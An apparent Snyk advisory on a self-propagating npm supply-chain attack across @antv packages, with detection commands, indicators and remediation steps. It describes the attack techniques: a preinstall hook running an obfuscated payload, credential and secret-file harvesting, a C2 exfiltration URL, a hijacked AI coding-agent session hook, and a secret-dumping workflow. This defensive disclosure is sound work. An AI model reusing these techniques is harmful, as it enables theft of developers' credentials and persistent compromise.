Skip to main content

Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account

Written by

May 18, 2026

0 mins read

A supply chain attack affecting the @antv data visualization ecosystem and related npm packages is actively spreading through the npm registry. The attack, attributed to a threat group called TeamPCP and branded as another wave of the Mini Shai-Hulud campaign, published more than 300 malicious package versions across 323 packages in a 22-minute automated burst on May 19, 2026. The packages collectively represent approximately 16 million weekly downloads.

The attack vector was a compromised npm maintainer account. The malware embedded in affected packages harvests developer secrets and cloud credentials, establishes persistent C2 access, and attempts to self-propagate to additional packages using stolen npm tokens.

TL;DR

Attack type

Supply chain, compromised maintainer account

Threat actor

TeamPCP (aliases: DeadCatx3, PCPcat)

Campaign

Mini Shai-Hulud (ongoing since Sep 2025)

Incident date

May 19, 2026, 01:39–02:06 UTC

Packages compromised

637 malicious versions across 323 packages

Estimated weekly downloads

~16 million

Malware behavior

Credential theft, cloud secret harvesting, persistence, worm propagation

Snyk coverage

Advisories in Snyk Vulnerability Database; Zero Day Report available in-app

Immediate action

Pin to pre-May 19 versions, run npm install --ignore-scripts, rotate all credentials

Affected packages

The compromised atool npm account maintained 547 packages. The malicious publish window hit over 300 of them in two waves:

  • First wave: 01:39–01:56 UTC (~317 versions)

  • Second wave: 02:05–02:06 UTC (~314 versions)

The highest-download packages affected include:

Core @antv packages compromised include @antv/g2, @antv/g6, @antv/x6, @antv/l7, @antv/s2, @antv/f2, @antv/g, @antv/g2plot, @antv/graphin, and @antv/data-set, along with non-scoped packages like echarts-for-react, timeago.js, size-sensor, and canvas-nest.js.

AntV is an Alibaba-originated data visualization suite widely used across enterprise dashboards, financial reporting tools, and graph analysis platforms. Its breadth of adoption makes the maintainer account's package portfolio an unusually high-value target.

How the attack works

Stage 1: Maintainer account compromise

The attack begins with the atool npm account being compromised. How the account was obtained is still under investigation. With control of the account, the attacker had publish access to all 547 packages it maintains.

Stage 2: Automated malicious publish

The attacker published malicious versions in two rapid waves, pushing most packages twice (a small number of early-testing packages received three versions). Each malicious package tarball contains two additions:

  • A root-level index.js: a 498KB heavily obfuscated Bun JavaScript payload

  • A modification to package.json adding: "preinstall": "bun run index.js"

The preinstall lifecycle hook triggers automatically when a developer runs npm install, before any other installation logic executes.

Stage 3: Orphan commit injection for Sigstore provenance

One of the more subtle techniques in this wave is the injection of an optional dependency pointing to an orphan commit in the legitimate antvis/G2 repository:

"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}

Important to note that the GitHub-sourced dependency is the same method of attack that was used in the previous TanStack Shai-Hulud supply chain attack.

The commit was authored by the attacker but forged to appear as huiyu.zjt <huiyu.zjt@ant.com> (a real maintainer). No write access to the target repository was needed. The attacker forked antvis/G2, created an orphan commit carrying the payload, then deleted the fork. GitHub's object storage retains commits from deleted forks until garbage collection runs, leaving the malicious commit accessible via its hash.

Fetching that commit provides a path to execute the payload with Git-sourced credentials while appearing to reference a trusted repository.

Using stolen GitHub Actions OIDC tokens, the malware can then request signing certificates from Fulcio (https://fulcio.sigstore.dev) and create in-toto provenance statements via Rekor (https://rekor.sigstore.dev), producing packages with cryptographically valid SLSA Build Level 3 attestations.

The key insight here is that the signatures are legitimate because the build pipeline itself was compromised. Sigstore provenance tells you which pipeline produced an artifact, not whether that pipeline was behaving as intended. And so, a common misconception about relying solely on attestation evidence for published packages is that it is a bulletproof signal of legitimacy.

Stage 4: Credential harvesting

When bun run index.js executes on a developer's machine or in a CI runner, the payload targets over 80 environment variables and 100+ file paths. Targeted credential types include:

  • AWS: Access keys (AKIA[0-9A-Z]{16}), session tokens, EC2 IMDS (169.254.169.254), ECS metadata (169.254.170.2), Secrets Manager

  • GCP: Service account JSON, application default credentials

  • Azure: Service principal credentials

  • GitHub: PATs and OIDC tokens (gh[op]_[A-Za-z0-9]{36,})

  • npm: Publish tokens with bypass_2fa scope

  • Infrastructure: Kubernetes service tokens, HashiCorp Vault tokens

  • Databases: MongoDB, MySQL, PostgreSQL, Redis connection strings

  • Services: Stripe keys, Slack tokens, Docker auth configs

  • SSH keys: ~/.ssh/id_*

In GitHub Actions environments, the payload attempts to read secrets directly from the Runner.Worker process memory via /proc/{pid}/mem, bypassing secret masking entirely.

Stage 5: Data exfiltration

All harvested credentials are serialized as JSON, gzip-compressed, encrypted with AES-256-GCM, and then the encryption key is wrapped using RSA-OAEP against a hardcoded attacker public key. This means defenders who find the exfiltrated data cannot determine what was stolen.

Exfiltration routes through two channels:

  1. Primary C2: https://t[.]m-kosche[.]com:443/api/public/otel/v1/traces (disguised as OpenTelemetry trace data)

  2. Secondary GitHub dead-drop: If a GitHub token is found, the payload creates repositories on the victim account with Dune-themed names (combinations of words like sardaukar, fremen, atreides combined with sandworm, ornithopter, stillsuit, plus a number 0-999), containing README files with characteristic phrases from previous waves of the Shai-Hulud campaign, reversed (e.g. “niagA oG eW ereH :duluH-iahS”). Stolen data is committed as results/results-<timestamp>-<counter>.json. HTTP requests use "python-requests/2.31.0" as the User-Agent.

Stage 6: Persistence

The payload installs several persistence mechanisms that survive a simple npm uninstall:

  • AI coding agent hijacking: Creates .claude/settings.json with a SessionStart hook executing node .claude/setup.mjs. This re-executes the malware whenever a developer opens a new Claude Code session in an affected directory. We’ll note that this is also a similar pattern we’ve seen in prior supply chain attack campaigns such as TanStack.

  • IDE hooks: Modifies .vscode/tasks.json with "runOn": "folderOpen" to trigger on project open.

  • OS-level daemon: Installs ~/.local/share/kitty/cat.py, a background daemon that polls the GitHub commit search API hourly for commands containing the keyword firedalazer. Commands are RSA-PSS signed with a hardcoded 4096-bit public key, allowing the attacker to push arbitrary Python code to run on compromised machines long after the initial infection. The daemon is registered as a systemd user service on Linux (~/.config/systemd/user/kitty-monitor.service) and a LaunchAgent on macOS (~/Library/LaunchAgents/com.user.kitty-monitor.plist).

Token monitor: ~/.local/bin/gh-token-monitor.sh polls stolen GitHub tokens at 60-second intervals, enabling the attacker to react quickly if a token is about to expire.

Stage 7: Worm propagation

The payload searches for npm tokens with the bypass_2fa scope and uses them to republish additional packages that the compromised account can publish to. For GitHub Actions environments, it exchanges the Actions OIDC token for per-package npm publish tokens via:

POST https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/<package-name>

It also injects a GitHub Actions workflow on a branch named chore/add-codeql-static-analysis, with the workflow file named "Run Copilot" (.github/workflows/codeql.yml). The workflow dumps toJSON(secrets) to an artifact named format-results.txt, then self-cleans by deleting the workflow run.

Impact analysis

The direct blast radius is any developer or CI environment that ran npm install against an affected package version between 01:39 and approximately 02:18 UTC on May 19, 2026.

CI/CD environments are at elevated risk. In those contexts, the payload can read all secrets from the runner process, not just those explicitly passed as environment variables. Any secret the GitHub Actions runner has access to, including OIDC tokens, repository secrets, and organization secrets scoped to that repository, should be considered compromised if an affected version was installed.

Developer machines present a significant risk as well. The persistence mechanisms mean that removing the affected packages alone does not remove the threat. The .claude/settings.json hook, VS Code task, and system daemon all continue running until explicitly removed.

The self-propagating component means that any npm token captured from a developer machine or CI runner could be used to poison additional packages outside the initial atool account portfolio, widening the blast radius beyond AntV and related packages.

Detection

Check your lockfile. If your package-lock.json or yarn.lock references any package maintained by the atool account, check whether the resolved version was published between 01:39 and 02:18 UTC on May 19, 2026.

Use Snyk to scan your projects. Snyk has published advisories in the Snyk Vulnerability Database for affected package versions and has deployed an in-app notification and a Zero Day Report for customers to investigate exposure across their organizations.

snyk test

For a quick scan of a specific package in your tree:

snyk test --file=package-lock.json

Check for persistence artifacts. If you installed any affected packages, check for:

# AI agent hook
cat .claude/settings.json 2>/dev/null | grep -A5 SessionStart

# VS Code task hook
cat .vscode/tasks.json 2>/dev/null | grep "folderOpen"

# C2 daemon
ls ~/.local/share/kitty/cat.py 2>/dev/null
ls ~/.local/bin/gh-token-monitor.sh 2>/dev/null
systemctl --user status kitty-monitor 2>/dev/null  # Linux
launchctl list com.user.kitty-monitor 2>/dev/null   # macOS

# Dead-drop repositories on your GitHub account
gh repo list --json name,description | grep -E "sardaukar|mentat|fremen|atreides|harkonnen|gesserit|fedaykin|tleilaxu"

Package-level indicators:

  • Presence of preinstall script bun run index.js in node_modules/<package>/package.json

  • Payload SHA256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c

  • Optional dependency referencing github:antvis/G2#1916faa365f2788b6e193514872d51a242876569 (or commits 7cb42f57561c / dc3d62a2181b)

Network indicators:

  • Outbound requests to 169.254.169.254 or 169.254.170.2 (cloud metadata endpoints) from non-cloud contexts

  • HTTP requests to t.m-kosche.com:443 with OpenTelemetry paths

  • GitHub API calls with python-requests/2.31.0 User-Agent not originating from actual Python processes

Remediation

If you are uncertain whether you were affected, treat it as a confirmed compromise. The RSA-encrypted exfiltration means you cannot recover what was taken.

Step 1: Remove persistence before revoking tokens.

The gh-token-monitor.sh daemon polls tokens every 60 seconds. If a GitHub token expires or is revoked while the daemon is running, it may trigger further malicious actions. Stop and remove the persistence mechanisms first:

# Remove systemd service (Linux)
systemctl --user stop kitty-monitor
systemctl --user disable kitty-monitor
rm -f ~/.config/systemd/user/kitty-monitor.service

# Remove LaunchAgent (macOS)
launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist
rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist

# Remove C2 daemon and monitor
rm -f ~/.local/share/kitty/cat.py
rm -f ~/.local/bin/gh-token-monitor.sh

# Remove editor hooks
rm -f .claude/settings.json  # or edit to remove SessionStart hook
# Edit .vscode/tasks.json to remove any "runOn": "folderOpen" tasks

# Check for injected GitHub workflows
git log --oneline --all | grep -i codeql

Step 2: Clean npm and reinstall on clean versions.

# Remove node_modules
rm -rf node_modules

# Downgrade affected packages to pre-May 19 versions in package.json, then:
npm install --ignore-scripts

Using --ignore-scripts prevents any preinstall, postinstall, or prepare lifecycle scripts from running during installation. This should be standard practice in CI environments regardless.

Step 3: Rotate all credentials.

Assume anything reachable from any machine or CI runner that installed an affected package is compromised:

  • npm publish tokens

  • GitHub personal access tokens and Actions secrets

  • AWS access keys (and any IAM roles accessible from affected runners)

  • GCP service account keys

  • Azure service principals

  • Kubernetes service account tokens

  • HashiCorp Vault tokens

  • SSH keys present on affected machines

  • Database connection strings

  • Any API keys or service tokens stored in environment variables or config files

Step 4: Audit GitHub for injected workflows and dead-drop repos.

# Check for attacker-injected branches
git branch --all | grep "codeql-static-analysis"

# Check for Dune-named repositories created on your account
gh repo list --json name | grep -E "sardaukar|mentat|fremen|atreides|harkonnen"

# Check npm audit log for unexpected publishes
npm access ls-packages

Step 5: Prevent future exposure.

  • Enable npm two-factor authentication with publish protection on all organization packages.

  • Add npm install --ignore-scripts to CI configuration as a default.

  • Pin dependencies to exact versions using lock files with integrity checks.

  • Consider a registry cooldown policy: flag and hold packages published within the last 7 days.

  • Use Snyk to continuously monitor your dependency tree for malicious packages as they are flagged.

  • We highly recommend that you consult and follow the npm security best practices repository for security controls and practices to avoid future malware incidents.

The bigger campaign: Shai-Hulud Waves

The AntV attack is the latest wave in a campaign that TeamPCP has been running since September 2025. The progression shows steady escalation in scope, persistence, sophistication, and abuse of trusted infrastructure:

Wave

Date

Primary Target

Scale

Signature Technique

Wave 1 (Shai-Hulud)

Sep 2025

npm (broad)

~4 packages

First self-propagating npm worm

Wave 2 (SHA1-Hulud)

Nov 2025

Zapier, Posthog, Postman

600+ packages

Container breakouts; destructive wiper

Wave 3 (Mini, SAP)

Apr 2026

SAP CAP-JS, MBT

4 packages

Claude Code SessionStart hook injection

Wave 4 (TanStack)

May 11, 2026

@tanstack/*

84 versions/42 packages

First valid SLSA provenance via OIDC hijack

Wave 5 (AntV)

May 19, 2026

@antv/* + 310 more

637 versions/323 packages

Compromised maintainer account; expanded C2

Snyk has covered prior waves in depth:

Each wave has reused and extended the Bun-runtime-based obfuscated payload, adding new persistence mechanisms (the Claude Code SessionStart hook first appeared in Wave 3), new exfiltration infrastructure, and new methods for forging trusted provenance. The SLSA provenance problem in particular deserves attention: a valid Sigstore attestation confirms which pipeline produced a package, not whether that pipeline was compromised. Relying on provenance as a trust signal without also auditing the underlying pipeline configuration leaves a gap that this campaign has now exploited in two consecutive waves.

For a video walkthrough of remediation using Snyk for the broader Shai-Hulud campaign:

Shai-Hulud NPM Attack: Remediation with Snyk — Walkthrough of identifying and remediating compromised packages using Snyk tooling.

Attack timeline (May 19, 2026, UTC)

Time

Event

01:39

First malicious package version published from atool account

01:56

First publication wave ends (~317 versions)

02:05

Second wave begins

02:06

Second wave ends (~314 additional versions)

~02:18

Detection; security researchers begin filing reports

Ongoing

Investigation continues; additional packages may be identified

Snyk coverage

Snyk has published advisories for affected package versions in the Snyk Vulnerability Database. Snyk customers can use the Zero Day Report in-app to investigate which projects across their organization are affected. The Snyk Vulnerability Database entries for affected packages reflect the current health status.

For background on the attack class, Snyk Learn's lesson on Compromise of Legitimate Packages covers how maintainer account compromise fits into the broader supply chain threat landscape.

Secure your supply chain with Snyk

87% of our respondents were impacted by supply chain security issues. Keep yours secure with Snyk.